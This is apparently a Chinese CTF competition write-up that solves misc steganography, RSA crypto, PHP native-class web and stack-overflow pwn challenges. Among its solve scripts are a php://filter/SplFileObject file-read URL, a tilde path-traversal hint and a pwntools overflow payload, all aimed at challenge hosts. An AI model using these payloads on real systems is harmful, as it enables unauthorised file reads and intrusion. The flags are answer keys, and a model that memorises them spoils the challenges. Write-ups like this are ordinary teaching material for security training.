警告
本文最后更新于 2023-03-08,文中内容可能已过时。
Rank: 56
Prize level: 2
Rank: 56
misc
套娃
也没觉得有啥套的
zip密码在注释里,滑到最下面
key.txt里面同一个套路
最下面
1
|
key========================================================>RkFLM19LRVk=
|
有零宽隐写
解得key
有key的png,用cloacked-pixel
1
|
lsb.py extract encode.png flag.txt _1s_E45y
|
1
|
flag{2e55f884-ef01-4654-87b1-cc3111800085}
|
funnyExpanduser
强国杯决赛原题
~的路径穿越
/dev/fd的链接是/proc/self/fd
~sys指向/dev
payload
crypto
checkin
1
|
282422904082982258621075610259452215824075271484821245626055284049965141753838118483499225118037659155776469308266679236514939371151200503486860900710638249138056870980395564136760046944176702722154502092895865522544199762580857041717582699398798829888596539858995029585412945532785867079274113878154724845910389733183058666310229884356997245
|
long_to_bytes
1
|
Mu.Chen_is_the_most_handsome_boy_in_SDPC_and_he_don't_have_girlfriend!!!!!!!By_the_way_here_is_your_flag{705bc7ea-e9e1-4996-a28f-dd962a777170}
|
Euler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import gmpy2
from secret import flag
from Crypto.Util.number import *
import random
p = getPrime(1024)
q = getPrime(1024)
e = 65537
d = inverse(e, (p-1)*(q-1))
n1 = p*q
print('d =', d)
print('n1 =', n1)
n2 = 1
while True:
tmp = getPrime(20)
for i in range(random.randint(1, 10)):
n2 *= tmp
if int(n2).bit_length() > 4096:
break
m = bytes_to_long(flag)
e = p
c = pow(m,p,n2)
print(f"n2 = {n2}")
print(f"c = {c}")
'''
d = 1191103734504058491421349604548564929848616842152689496895544381837156883533438743584190765148552934760581271144506002162145850044043706855922892271482076871873995241085136144968243140990856473896170280564822732549232192446031619309897442553542363254504471740017966570662964696395047018142115398837264339359703632345253800336497946214283448557066829445107164480953216959246058743836325220516737638124436265379246043689904351250933647836622874758885644860021461954464385862680106712884194095768373281466098064819110033091294767089010003022970009602841916377292236136049332199074587736162893766795170383769105855396481
n1 = 13580613334758608446812976519363134969987613428002924766535019511562587104406919787452524386837284913953412450765046949147625708826808005604839699164252065405707381022094044455947068672776228380259796742758661695038105462132145830673755861626914728707456430832560451486001864528121467715375751025330165798298234749333641286199156268444951660172758198564829589895780644285230824166251980165312273600373379395893191960302458674257328572576250700441136204817923980559222287090491322038600230306017349810608247758292597409739448697047571469597942133677889648017239246044193456551115423543297398389835141582226233401091651
n2 = 1214806402018035399640161601350276689119300500885922730338627878893519991129980125476434307328318616551645952775278810103829168554249376991124646974529506458637833256309925386195767085673143119319959502919427611337245914269082657148902705137556296048781578971739222821624583120801659535369927877985173236243714461317935517361255270715241189816284530991305321818355420570545833978683123138276923580243415962479127687019106264574314649544746346086459905012212977958967691480715239783822121874583716717022133331534258680100103894980839994381411182849477289831563331555051111524494710894174250831042393260657010039224282544484051247017811298503920278914985702602401902771910416165113998593372720867385848641975504106450347785422029536444684536992419844582901814455572310411304170053743720539065216022165732393062765647406642461667856590659949987014165020908912248704605394194332522772838334355686250772722614893659631917281850223784937395431499960460631775969046704990152101465734651932493302101064276553602695086721483441047849063689763309160624353722539937307711289340553305706186969043326282042780389837191270199164643251358171042535614702470861637110776902483824241373428279843481575953477705679020507998934443944753893015492521729164439
c = 829714996515560908603942343505920996556339059436557287421074174277687809974667533248085244071086827486112801279665776466949992570288124598686592774771062800764512333540404127622921352174419248968970404794754685847236748961563984628001223295272803310968932487079932521884266677193760840062257399310444131681778575116034804962240312440452076927109544707668525304555494031530153484385014733733295665648179563341929829366393842180933029552234342383165468329118358481709562138556464490952636983157762226775051069620144327191146321078089031134997806488306619954921967209307290224398561337468466377749200533482249418692505335754212596152956893594720809675348504752525191974229476876972508737538861376367290460994163758533707257433535992369795872961693633915923559165304176024241693969803856234404053572424185908635089962296448104233424369921110004610276316317120909034370571217382030431552784144041430129071509829206755292634358474170376986660230213480604735611696589811824530116203051420922042313844629631979060959674508082246111229472102010511440894011705450255517464228219748967389876595425302704439665665510611452129328353818804395006155136491014104673084625985358676817967767734690717397046423097222254342558118886724303282396865112622135
'''
|
n1是小质数的积,用sage解phin
1
2
|
n2 = 1214806402018035399640161601350276689119300500885922730338627878893519991129980125476434307328318616551645952775278810103829168554249376991124646974529506458637833256309925386195767085673143119319959502919427611337245914269082657148902705137556296048781578971739222821624583120801659535369927877985173236243714461317935517361255270715241189816284530991305321818355420570545833978683123138276923580243415962479127687019106264574314649544746346086459905012212977958967691480715239783822121874583716717022133331534258680100103894980839994381411182849477289831563331555051111524494710894174250831042393260657010039224282544484051247017811298503920278914985702602401902771910416165113998593372720867385848641975504106450347785422029536444684536992419844582901814455572310411304170053743720539065216022165732393062765647406642461667856590659949987014165020908912248704605394194332522772838334355686250772722614893659631917281850223784937395431499960460631775969046704990152101465734651932493302101064276553602695086721483441047849063689763309160624353722539937307711289340553305706186969043326282042780389837191270199164643251358171042535614702470861637110776902483824241373428279843481575953477705679020507998934443944753893015492521729164439
phi_n2 = euler_phi(n2)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
# 给出n,e,d, 求 q,p
import random
import gmpy2
import libnum
from Crypto.Util.number import *
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def getpq(n, e, d):
p = 1
q = 1
while p == 1 and q == 1:
k = d * e - 1
g = random.randint(0, n)
while p == 1 and q == 1 and k % 2 == 0:
k //= 2
y = pow(g, k, n)
if y != 1 and gmpy2.gcd(y - 1, n) > 1:
p = gmpy2.gcd(y - 1, n)
q = n // p
return p, q
d1 = 1191103734504058491421349604548564929848616842152689496895544381837156883533438743584190765148552934760581271144506002162145850044043706855922892271482076871873995241085136144968243140990856473896170280564822732549232192446031619309897442553542363254504471740017966570662964696395047018142115398837264339359703632345253800336497946214283448557066829445107164480953216959246058743836325220516737638124436265379246043689904351250933647836622874758885644860021461954464385862680106712884194095768373281466098064819110033091294767089010003022970009602841916377292236136049332199074587736162893766795170383769105855396481
n1 = 13580613334758608446812976519363134969987613428002924766535019511562587104406919787452524386837284913953412450765046949147625708826808005604839699164252065405707381022094044455947068672776228380259796742758661695038105462132145830673755861626914728707456430832560451486001864528121467715375751025330165798298234749333641286199156268444951660172758198564829589895780644285230824166251980165312273600373379395893191960302458674257328572576250700441136204817923980559222287090491322038600230306017349810608247758292597409739448697047571469597942133677889648017239246044193456551115423543297398389835141582226233401091651
e1 = 65537
p, q = getpq(n1, e1, d1)
phi_n2 = 1214743481055418306674923200796837849615523895805543401563759441369343246118986522204311782627678716735076110083488503580291663049622957099674758845000715801331942570563583897748699601876002641512060842959555705944501143148910130554162959388048040519212869978015378597751985356834049556209550624803841207570298137642737395857984101829899978082337057857851112051968930682389636757671781188465691613675153087916911702205401423785475317890541124122086193454983600707787721998113793577979620577534898476900366607144472687183559977045417785928777071198074532579953848782837625343089157820802397678629539368017420537358474076916977809019956158233109058088152632979224345823012868649626822767425736075848093432971228559978734407656071616529172930332880242355377055280321843657698442962249947931867596413331377345743610843716049422485692344992871672279724286939871715214951256915775082201853930411386879306158014821927205845422929099823080947813039889976335554214197065783103831846853692180491580588714471379369769063217267315939921831182591988952743008462760971079264723125493011347321949473298447302260784186208600655746138322458842852759438621930457567141570663852697055384547104514666694053628267784608047228186045453362925876019200000000000
e2 = q
n2 = 1214806402018035399640161601350276689119300500885922730338627878893519991129980125476434307328318616551645952775278810103829168554249376991124646974529506458637833256309925386195767085673143119319959502919427611337245914269082657148902705137556296048781578971739222821624583120801659535369927877985173236243714461317935517361255270715241189816284530991305321818355420570545833978683123138276923580243415962479127687019106264574314649544746346086459905012212977958967691480715239783822121874583716717022133331534258680100103894980839994381411182849477289831563331555051111524494710894174250831042393260657010039224282544484051247017811298503920278914985702602401902771910416165113998593372720867385848641975504106450347785422029536444684536992419844582901814455572310411304170053743720539065216022165732393062765647406642461667856590659949987014165020908912248704605394194332522772838334355686250772722614893659631917281850223784937395431499960460631775969046704990152101465734651932493302101064276553602695086721483441047849063689763309160624353722539937307711289340553305706186969043326282042780389837191270199164643251358171042535614702470861637110776902483824241373428279843481575953477705679020507998934443944753893015492521729164439
c = 829714996515560908603942343505920996556339059436557287421074174277687809974667533248085244071086827486112801279665776466949992570288124598686592774771062800764512333540404127622921352174419248968970404794754685847236748961563984628001223295272803310968932487079932521884266677193760840062257399310444131681778575116034804962240312440452076927109544707668525304555494031530153484385014733733295665648179563341929829366393842180933029552234342383165468329118358481709562138556464490952636983157762226775051069620144327191146321078089031134997806488306619954921967209307290224398561337468466377749200533482249418692505335754212596152956893594720809675348504752525191974229476876972508737538861376367290460994163758533707257433535992369795872961693633915923559165304176024241693969803856234404053572424185908635089962296448104233424369921110004610276316317120909034370571217382030431552784144041430129071509829206755292634358474170376986660230213480604735611696589811824530116203051420922042313844629631979060959674508082246111229472102010511440894011705450255517464228219748967389876595425302704439665665510611452129328353818804395006155136491014104673084625985358676817967767734690717397046423097222254342558118886724303282396865112622135
d2 = gmpy2.invert(e2,phi_n2)
m = pow(c,d2,n2)
print(long_to_bytes(m))
#b'flag{09d9cf63-4ccc-4615-8a40-577e1152d2b3}'
|
RRRRRRRSA
1
2
3
4
5
6
7
8
9
10
11
|
from secret import flag
from Crypto.Util.number import *
e = 321
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
c = pow(m, e, n)
print(n)
print(c)
|
低指数广播,不过e大了点,而且不是质数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from Crypto.Util.number import *
from pwn import *
n = []
c = []
for i in range(321):
io = remote('81.68.77.181', 2023)
n.append(eval(io.recvline().decode()))
c.append(eval(io.recvline().decode()))
io.close()
sleep(0.1)
with open('n_c.txt','w') as f:
f.write(f'n ={n}')
f.write(f'\nc ={c}')
|
1
2
3
4
5
6
7
8
9
10
11
|
from Crypto.Util.number import *
n =[]
c =[]
e = 321
ms = crt(c, n)
R.<x> = PolynomialRing(ZZ)
f = x^e - ms
m = f.roots()[0][0]
print(long_to_bytes(m))
# b'flag{aea15f90-aa1b-424d-a1ca-cda30682d881}'
|
web
ezphp
php原生类的例题
GlobIterator读取文件列表
用SplFileObject类配合伪协议读取文件内容
exp
1
|
http://43.138.65.13:2023/?g=SplFileObject&t=php://filter/read=convert.base64-encode/resource=flag.php
|
pwn
ez_stack
1
2
3
4
5
6
7
8
|
from pwn import *
context.log_level=('debug')
# p = process("./pwn")
p = remote('1.13.251.106',8000)
payload = b'a'*(68+8+4) + p32(0xFECB7341)
p.sendlineafter(b' :',payload)
p.interactive()
|